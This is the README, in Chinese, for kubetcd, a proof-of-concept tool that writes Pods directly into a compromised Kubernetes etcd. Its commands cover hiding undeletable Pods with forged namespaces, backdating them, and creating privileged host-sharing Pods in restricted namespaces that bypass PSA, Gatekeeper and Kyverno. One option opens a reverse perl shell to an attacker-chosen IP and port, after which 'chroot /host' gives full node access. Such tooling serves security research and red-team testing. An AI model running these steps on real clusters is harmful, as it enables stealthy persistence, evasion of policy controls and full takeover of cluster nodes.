https://github.com/jpbetz/auger 的封装。
它通过直接写入 etcd 来自动化 Pod 部署,并包含多项用于对已失陷 etcd 进行后渗透利用的功能。
[!WARNING]
这是一个 PoC,请勿在生产环境中使用。直接写入 etcd 可能导致数据不一致或损坏,进而使kube-apiserver逻辑无法从 etcd 检索或操作数据。可使用 KIND 部署多节点测试环境
主仓库 auger 提供了对 etcd 中 protobuf 序列化条目进行序列化和反序列化的主要功能。Kubetcd 是一个 PoC,它封装了这些功能,使 etcdctl 更接近常规 kubectl 客户端。在 etcd 被入侵的场景中,kubetcd 将尝试利用被篡改的特权 Pod 来获得持久化能力,并获取对集群中任意/全部主机的特权访问。请注意,kubetcd 目前仅支持 Pod 操作。
Kubetcd 从以下默认路径获取用于向 etcd 服务进行身份验证的证书和密钥:
此外,默认端点为 127.0.0.1:2379
以上所有默认值均可通过参数进行修改。
另外,必须安装 etcd 的客户端 etcdctl。
sudo apt install etcd-client
检出并构建:
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .
你可能会遇到以下错误:
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)
如果是这样,请使用 Golang 1.19 构建 kubetcd。
关于 auger 的主要功能(这些功能仍然保留),请参阅 https://github.com/jpbetz/auger。
本 README 仅详细介绍该封装新增的功能:
./kubetcd -h
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>
templateName 应为默认命名空间中一个正在运行的 Pod:
./kubetcd create pod <name> -t <templateName>
只需设置相同的 name 和 templateName 值,即可覆盖正在运行的 Pod。
./kubetcd create pod <name> -t <templateName> --image <image>
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"
ETCD 将新 Pod 保存在 /registry/pods/<namespace>/<name> 中,但 namespace 和 name 字段可能被篡改。因此,这些 Pod 可以使用 kubectl 列出,但无法删除。
./kubetcd create pod <name> -t <templateName> -p <randomentry>
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace
可随意将工作负载部署到任意节点:
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>
在受限命名空间中部署特权 Pod。
这将绕过内置的 AdmissionControllers(如 PSP、PSA),以及基于自定义策略(如 OPA Gatekeer 或 Kyverno)的任何其他策略:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P
-P 标志会将任意 Pod 设置为 privileged,并使其与底层节点共享 network、PID 和 IPC 命名空间。
在受限命名空间中部署特权 Pod,并获得远程 shell:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>
这将启动一个反向 perl shell,默认情况下很多镜像中都包含 perl。
获得反向 shell 后,使用 chroot /host 切换根文件系统,即可获得对节点的完全访问权限。
corev1 分支之外的元素进行创建/获取/删除的支持